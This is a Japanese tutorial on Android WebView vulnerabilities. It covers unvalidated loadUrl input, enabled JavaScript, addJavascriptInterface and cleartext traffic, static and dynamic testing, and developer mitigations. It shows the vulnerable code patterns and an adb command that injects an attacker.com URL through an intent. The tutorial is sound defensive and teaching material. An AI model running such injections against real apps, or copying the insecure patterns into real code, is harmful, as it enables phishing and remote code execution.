Hello there, ('ω')ノ
🌐 WebViewって何?
WebViewは、アプリの中でWebサイトを表示できる“小さなブラウザ”のようなものです。
たとえば:
- アプリ内で商品ページを表示する
- お問い合わせフォームやマニュアルを読み込む
- HTMLで作られた動的UIをアプリ内に表示する
といった使い方がされます。
⚠️ なぜWebViewは危険になりやすいのか?
WebViewを安全に使うには、いくつかの注意点を守らなければなりません。 以下のような設定ミスがあると、攻撃者にとって都合の良い“裏口”になってしまいます。
【危険な使い方例】
| パターン | 内容 | リスク |
|---|---|---|
| 任意のURLを読み込める | webView.loadUrl(getIntent().getStringExtra("url")) |
任意Webサイトの読み込み → フィッシングやXSSの温床 |
| JavaScriptが有効 | webView.getSettings().setJavaScriptEnabled(true) |
悪意のあるJS実行 → 情報抜き取りやファイルアクセス |
| JavaScriptインターフェースを使っている | addJavascriptInterface() |
JSからネイティブ関数呼び出し → RCE(リモートコード実行)の可能性 |
| HTTPSでなくHTTPを許可 | android:usesCleartextTraffic="true" |
通信の盗聴・改ざんが可能になる |
🕵️ 脆弱性の見つけ方(静的解析編)
✅ MobSFやjadxでコードをチェック!
アプリのコードをjadxやMobSFで見て、以下のような記述を探します。
例1:任意のURL読み込み
String url = getIntent().getStringExtra("url");
webView.loadUrl(url);
→ 外部からインテントでURLが渡される場合、攻撃者が用意した悪意あるWebページが読み込まれる恐れがあります。
例2:JavaScript有効+インターフェース追加
webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new MyJsBridge(), "bridge");
→ 攻撃者がJavaScriptを埋め込むことで、MyJsBridgeのメソッドを遠隔で呼び出される可能性があります。
🧪 実機での確認(動的解析編)
動的解析では、実際に意図しないURLを読み込ませたり、JavaScriptを実行して動作を観察します。
✅ DrozerやFridaを使った例
DrozerやADBを使って、インテント経由でURLを注入:
adb shell am start -n com.example.app/.WebViewActivity -e url http://attacker.com/malicious.html
→ WebViewにこのURLが表示されたら、外部から任意URLの操作が可能ということになります。
📋 診断でのチェックポイントまとめ
| チェック項目 | 内容 |
|---|---|
| 任意URLを読み込めるコードがないか | loadUrlに外部入力がそのまま渡っていないか |
| JavaScriptが有効かつ使用されているか | JSによる不正操作の可能性を検討 |
| addJavascriptInterfaceが使われているか | どのメソッドが呼び出され得るか調査 |
| HTTP通信を許可していないか | usesCleartextTraffic の有無を確認 |
✅ 開発時の対策(安全にWebViewを使うには)
loadUrl()に外部入力を渡すときは ホワイトリストで検証する- JavaScriptは極力 無効化する(デフォルトはfalse)
addJavascriptInterface()は 絶対に信頼されたHTMLだけで使うandroid:usesCleartextTraffic="false"を明示する
✅ まとめ
- WebViewは便利だが、設定ミスがあると攻撃者にとって最高の踏み台になる
- 静的解析では
loadUrl()やaddJavascriptInterface()の使い方をチェック - 動的解析では、インテント経由で任意URLやJSが動くかどうかを確認しよう
- 安全に使うには、「外部入力を受け取らない」「JavaScriptを極力使わない」が原則!
Best regards, (^^ゞ